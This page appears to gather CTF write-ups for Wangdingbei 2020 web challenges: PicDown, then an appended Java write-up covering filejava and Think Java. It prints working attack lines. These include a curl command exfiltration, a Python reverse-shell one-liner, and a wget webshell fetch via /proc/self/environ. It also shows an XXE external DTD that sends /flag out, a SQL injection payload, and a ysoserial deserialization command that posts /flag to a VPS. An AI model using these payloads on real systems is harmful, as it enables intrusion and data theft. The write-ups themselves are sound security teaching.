[网鼎杯 2020 白虎组]PicDown(精讲)

Posted coleak

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[网鼎杯 2020 白虎组]PicDown(精讲)相关的知识,希望对你有一定的参考价值。

目录

前提知识

urllib

包含environ

proc目录

解题过程

信息收集

思路分析

命令执行外带


前提知识

  • urllib

import urllib
url="/etc/passwd"
res = urllib.urlopen(url)
print(res.read())

python2的urlliburlopen,和urllib2中的urlopen明显区别就是urllib.urlopen支持将路径作为参数去打开对应的本地路径,所以可以直接填入路径读取文件

如图

这里和python3进行对比 

  • 包含environ

恶意代码注入到/proc/self/environ
?page=../../../../../proc/self/environ 
User-Agent如下:
<?system('wget shell-url -O shell.php');?>

  • proc目录

proc文件系统是一个伪文件系统,它只存在内存当中,而不占用外存空间。它以文件系统的方式为访问系统内核数据的操作提供接口。

还有的是一些以数字命名的目录,他们是进程目录。系统中当前运行的每一个进程都有对应的一个目录在/proc下,以进程的PID号为目录名,他们是读取进程信息的接口。而self目录则是读取进程本身的信息接口,是一个link

进程中的部分文件

  • cmdline

cmdline 文件存储着启动当前进程的完整命令,但僵尸进程目录中的此文件不包含任何信息

  • cwd

cwd 文件是一个指向当前进程运行目录的符号链接。可以通过查看cwd文件获取目标指定进程环境的运行目录

  • exe

exe 是一个指向启动当前进程的可执行文件(完整路径)的符号链接。通过exe文件我们可以获得指定进程的可执行文件的完整路径

  • environ

environ文件存储着当前进程的环境变量列表,彼此间用空字符(NULL)隔开,变量用大写字母表示,其值用小写字母表示。可以通过查看environ目录来获取指定进程的环境变量信息

  • fd

fd是一个目录,里面包含着当前进程打开的每一个文件的描述符(file descriptor)差不多就是路径啦,这些文件描述符是指向实际文件的一个符号连接,即每个通过这个进程打开的文件都会显示在这里。所以我们可以通过fd目录的文件获取进程,从而打开每个文件的路径以及文件内容

查看指定进程打开的某个文件的内容。加上那个数字即可,在Linux系统中,如果一个程序用 open() 打开了一个文件,但是最终没有关闭它,即使从外部(如:os.remove(SECRET_FILE))删除这个文件之后,在/proc这个进程的 pid目录下的fd文件描述符目录下还是会有这个文件的文件描述符,通过这个文件描述符我们即可以得到被删除的文件的内容

  • self

/proc/self表示当前进程目录

解题过程

信息收集

看到标题(picdown)picture download?

抓包看请求+查看前端源码+代码泄露扫描=并没有发现有用信息

输入任意信息

抓包/page?url=a;且url发生变化,此时我们输入一个url网址,发现下载了一个jpg文件,内容是前端响应源码

猜测是文件读取题目?用php伪协议读取下本地文件

file:///etc/passwd

没有效果 

多次尝试读取文件的方法,最后发现直接输入路径即可(这里印证了可能是python2的urlliburlopen

我们读取下当前进程的启动命令

python2 app.py(貌似是熟悉的flask框架?)

读取下环境变量

PWD=/app

 很清晰了,当前环境在/app/app.py

读取该文件,果然是flask框架

from flask import Flask, Response
from flask import render_template
from flask import request
import os
import urllib

app = Flask(__name__)

SECRET_FILE = "/tmp/secret.txt"
f = open(SECRET_FILE)
SECRET_KEY = f.read().strip()
os.remove(SECRET_FILE)


@app.route('/')
def index():
    return render_template('search.html')


@app.route('/page')
def page():
    url = request.args.get("url")
    try:
        if not url.lower().startswith("file"):
            res = urllib.urlopen(url)
            value = res.read()
            response = Response(value, mimetype='application/octet-stream')
            response.headers['Content-Disposition'] = 'attachment; filename=beautiful.jpg'
            return response
        else:
            value = "HACK ERROR!"
    except:
        value = "SOMETHING WRONG!"
    return render_template('search.html', res=value)


@app.route('/no_one_know_the_manager')
def manager():
    key = request.args.get("key")
    print(SECRET_KEY)
    if key == SECRET_KEY:
        shell = request.args.get("shell")
        os.system(shell)
        res = "ok"
    else:
        res = "Wrong Key!"

    return res


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8080)

至此,信息收集完毕,进入思路分析阶段

思路分析

  • 代码审计

这里把SECRET_FILE读取完后就删除了,我们需要利用的路由是/no_one_know_the_manager

直接路由no_one_know_the_manager返回Wrong Key!

我们必须拿到SECRET_KEY

注意关于SECRET_KEY的逻辑,虽然该文件在打开读取后被删除了,但是注意这个文件没有关闭,所以仍然可以通过/proc/self/fd/[num]访问对应文件(此处[num]代表一个未知的数值,需要从0开始遍历找出),这里在/page?url=/proc/self/fd/3找到。

/R9uNNZkORZl8m0kJFYolnFS10EpC3+GPQ/y3EtDIlQ=

命令执行外带

这里使用命令外带的方式读取执行结果

vps监听端口

nc -lvp 6666

no_one_know_the_manager?key=/R9uNNZkORZl8m0kJFYolnFS10EpC3+GPQ/y3EtDIlQ=&shell=curl ip:端口/`ls /|base64`

这里需要将key和shell的内容进行url编码

解码发现/flag 

app
bin
boot
dev
etc
flag
flag.sh
home
lib
lib64
media
mn

最后外带一个cat flag

解码获得flag 

这里还可以反弹shell

/no_one_know_the_mnager?key=/R9uNNZkORZl8m0kJFYolnFS10EpC3+GPQ/y3EtDIlQ=&shell=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ip",端口));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Java安全-Java In CTF([网鼎杯 2020 青龙组]filejava[网鼎杯 2020 朱雀组]Think Java)


文章目录

[网鼎杯 2020 青龙组]filejava

存在一个 UploadServlet

通过修改上传文件名,构造报错输出 web 目录

正常上传文件

/DownloadServlet?filename=ac6b647b-b31a-4ee7-8b86-9bbdba110a71_1.jpg

尝试任意文件读取,对于 Java 项目来说可以尝试读取 /WEB-INF/web.xml 配置文件

正常来说 web.xml 的位置就在 WEB-INF 目录下(以一个 cms 结构举例)

构造链接去读文件

http://dcff90af-ed58-47ef-b074-b14bf56ef9c1.node4.buuoj.cn:81/DownloadServlet?filename=../../../../../../../../../../../../../../../../..//usr/local/tomcat/webapps/ROOT/WEB-INF/web.xml

web.xml

    <servlet>
        <servlet-name>DownloadServlet</servlet-name>
        <servlet-class>cn.abc.servlet.DownloadServlet</servlet-class>
    </servlet>

    <servlet-mapping>
        <servlet-name>DownloadServlet</servlet-name>
        <url-pattern>/DownloadServlet</url-pattern>
    </servlet-mapping>

    <servlet>
        <servlet-name>ListFileServlet</servlet-name>
        <servlet-class>cn.abc.servlet.ListFileServlet</servlet-class>
    </servlet>

    <servlet-mapping>
        <servlet-name>ListFileServlet</servlet-name>
        <url-pattern>/ListFileServlet</url-pattern>
    </servlet-mapping>

    <servlet>
        <servlet-name>UploadServlet</servlet-name>
        <servlet-class>cn.abc.servlet.UploadServlet</servlet-class>
    </servlet>

    <servlet-mapping>
        <servlet-name>UploadServlet</servlet-name>
        <url-pattern>/UploadServlet</url-pattern>
    </servlet-mapping>
</web-app>

从 xml 文件中可以看出一共配置了三个 servlet,根据 servlet-class 去看 class 文件

/WEB-INF/classes/包含了站点所有用的 class 文件,之后的路径就是 servlet-class 中对应的,比如 DownloadServlet

WEB-INF/classes/cn/abc/servlet/DownloadServlet.class

因为这是 class 二进制字节码文件,用文本编辑器打开的话时是乱码,可以用 idea 打开会自动反编译,关键代码如下

代码主要是对 flag 字符串做了屏蔽

再看 UploadServlet.class

主要是这个对文件名的判断,并且解析了 xlsx 文件,搜一下看看 xlsx xxe 漏洞

新建一个 excel-1.xlsx,改为 zip,将 [Content_Types].xml 第二行加入

<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://靶机内网ip,不是ssh连接的那个/file.dtd">
%remote;%int;%send;
]>

注意:修改zip文件的时候,最好用WinRAR打开修改,完事直接保存,若是先解压,修改完了再压缩,有可能出问题

在 vps 放入 evil.dtd,我这里用的 python 启动的 web 服务

python3 -m http.server 端口
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://vps:port/?q=%file;'>">
%int;
%send;

然后再用 nc 监听 evil.dtd 中的端口

拿到 flag

分析流程如下:

  1. 上传 excel 文件,后台进行解析,解析时加载 vps 上的 dtd 文件,所以说要启动 web 服务,保证靶机可以访问到 dtd 文件
  2. 靶机加载执行 dtd 文件,读取本地 flag,发送给 vps nc 监听的端口,nc 端接收 flag

[网鼎杯 2020 朱雀组]Think Java

给了附件,一些 class 文件,放到 idea 中

扫目录也可以发现 swagger-ui,可以获取所有 api

/swagger-ui.html

具体分析 sqlDict

dbName 值可控

在上面代码中调用了 SqlDict.getTableData

可以发现 dbName 没有过滤直接参与了 SQL 语句进行数据查询,所以这里存在 SQL 注入

同时需要满足 jdbc 协议的连接不能出错

JDBC 的 URL 也类似 http 请求中的 URL,也可以使用锚点 # 或者 ?
如:jdbc:mysql://mysqldbserver:3306/myapp#’ union select 2#

构造 payload

#' union select group_concat(name,0x3a,pwd)from user#

这样的话就拿到了用户账号和密码,使用账号密码登录

登录成功返回序列化字符串

rO0AB 开头的字符串,很明显 Base64 加密后的 Java 序列化数据字符串

还有最后一个接口 /common/user/current,把字符串放到这里

这里就应该就是将序列化后的数据直接反序列化

最后使用 yso 生成 payload

java -jar yso*-all.jar ROME "curl http://ip:port -d @/flag" |base64

最终 payload

Bearer rO0ABXNyABFqYXZhL.......

去 current 打,在 vps 监听对应端口

参考:

大赛上的Java题复现

以上是关于[网鼎杯 2020 白虎组]PicDown(精讲)的主要内容,如果未能解决你的问题,请参考以下文章

2020网鼎杯白虎组re 恶龙 wp

Java安全-Java In CTF([网鼎杯 2020 青龙组]filejava[网鼎杯 2020 朱雀组]Think Java)

Java安全-Java In CTF([网鼎杯 2020 青龙组]filejava[网鼎杯 2020 朱雀组]Think Java)

[网鼎杯 2020 朱雀组]phpweb

[网鼎杯 2020 朱雀组]Nmap

[网鼎杯 2020 青龙组]AreUSerialz